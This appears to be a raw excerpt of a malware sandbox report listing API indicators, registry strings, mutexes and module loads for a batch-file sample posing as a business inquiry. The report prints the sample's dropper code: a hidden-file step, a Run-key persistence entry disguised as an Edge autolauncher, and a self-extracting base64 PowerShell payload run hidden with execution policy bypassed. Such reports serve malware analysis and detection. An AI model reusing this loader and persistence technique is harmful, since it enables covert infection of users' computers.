"00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004500.00000001.157884.E016A000.00000002.mdmp")37:T2537,"attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs" >nul 2>&1reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs\"" /f >nul 2>&1set unusual=%RANDOM%set PROPOSE=%RANDOM%set Someone=%TIME:~0,2%%TIME:~3,2%set /a MANAGER=48 * 2set Money=%TIME:~0,2%%TIME:~3,2%setlocal enableDelayedExpansionset Distribution=%TEMP%\Everyday.ps1powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadAllText('%~f0'); if ($c -match '::r9AEjljnYPAV5inlps9([A-Za-z0-9+/=]+)') { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])) | Out-File -FilePath \"!Distribution!\" -Encoding UTF8 } } catch {}" >nul 2>&1if exist "!Distribution!" ( powershell.exe -nop -w h -ep bypass -f "!Distribution!" >nul 2>&1 del "!Distribution!" >nul 2>&1)endlocalexit /b::r9AEjljnYPAV5inlps9JG11dGV4TmFtZSA9ICdxNmgwUlRtWXJJaE56VUFyX010eCcKdHJ5IHsKICAgIFtTeXN" in Source: Inquiry 46250 BSTM A240-TP 316L.bat "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs\"" /f >nul 2>&1" in Source: Inquiry 46250 BSTM A240-TP 316L.bat "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //N" in Source: 00000000-00003392-00000C47-1894044818, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs\"" /f" in Source: reg.exe, "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004092.00000000.157389.16C7F000.00000002.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00004092.00000000.157389.16C7F000.00000002.mdmp, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //Nologo \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\UNTIL.vbs\"" /f" in Source: 00000000-00004092.00000000.157389.56C80000.00000004.mdmp, "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004092.00000000.157389.56C80000.00000004.mdmp, 00000000-00004092.00000000.157389.56FB0000.00000004.mdmp, "35145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp, 00000000-00004500.00000001.157884.47B00000.00000004.mdmp, "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Microsoft\PowerShell\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004500.00000000.157721.62050000.00000004.mdmp, 00000000-00004500.00000001.157884.62050000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B790000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp, "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp, 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp38:T56c,Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4500:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4500:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4500:120:WilError_01" Process powershell.exe created mutex with name "SM0:4500:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:4500:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4500:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5572:304:WilStaging_02" Process powershell.exe created mutex with name "q6h0RTmYrIhNzUAr_Mtx" Process powershell.exe created mutex with name "SM0:5572:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5572:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:5572:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5572:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\q6h0RTmYrIhNzUAr_Mtx" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5572:120:WilError_01"39:T16ab,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135]3a:T271d,"Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00004092.00000000.157389.16C7F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00004092.00000000.157389.16C7F000.00000002.mdmp "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //Nologo \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\UNTIL.vbs\"" /f " in Source: 00000000-00004092.00000000.157389.56C80000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004092.00000000.157389.56C80000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004092.00000000.157389.56FB0000.00000004.mdmp "35145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004500.00000000.157721.47B00000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004500.00000000.157721.49F20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004500.00000000.157721.62050000.00000004.mdmp "35145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004500.00000001.157884.47B00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004500.00000001.157884.62050000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004500.00000001.157884.E016A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000000.158218.9B790000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005572.00000001.159543.32608000.00000002.mdmp "HKLM\" in Source: 00000000-00005572.00000001.159543.32608000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005572.00000001.159543.32608000.00000002.mdmp 